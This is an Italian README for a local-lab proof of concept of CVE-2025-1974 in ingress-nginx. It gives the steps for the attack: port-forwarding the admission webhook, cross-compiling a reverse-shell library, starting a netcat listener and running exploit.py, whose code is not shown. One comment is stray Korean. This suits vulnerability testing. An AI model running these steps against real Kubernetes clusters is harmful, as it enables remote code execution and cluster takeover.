
Codice PoC CVE-2025-1974
Per il test locale installa minikube
minikube start --driver=docker
Configura ingress-nginx-controller con il seguente comando:
kubectl apply -f ingress-nginx-controller.yml
Verifica che i Pod funzionino correttamente
kubectl get pods -n ingress-nginx
kubectl describe <pod name> -n ingress-nginx
Inoltra le porte 80 e 8443 (webhook) dei Pod alle porte locali 8888 e 1337 (è necessario il port forwarding sia della porta 80 che della 8443)
kubectl port-forward -n ingress-nginx <pod name> 8888:80
kubectl port-forward -n ingress-nginx <pod name> 1337:8443
Modifica l'IP e la porta della connessione della reverse shell in rev_shell.c
Compila in ambiente macOS (arm64); adatta la compilazione all'ambiente di test
aarch64-linux-gnu-gcc -shared -fPIC -o rev_shell.so rev_shell.c
# 크로스컴파일러 설치
brew tap messense/macos-cross-toolchains
brew install aarch64-linux-gnu
Converti in formato AdmissionReview con kube-review (json)
./kube-review-darwin-arm64 create admission_test.yml > admission_review_req_body.json
Prepara la connessione della reverse shell con nc
nc -lv 4444
Modifica host e porta di nginx e webhook in exploit.py, quindi esegui
python3 exploit.py
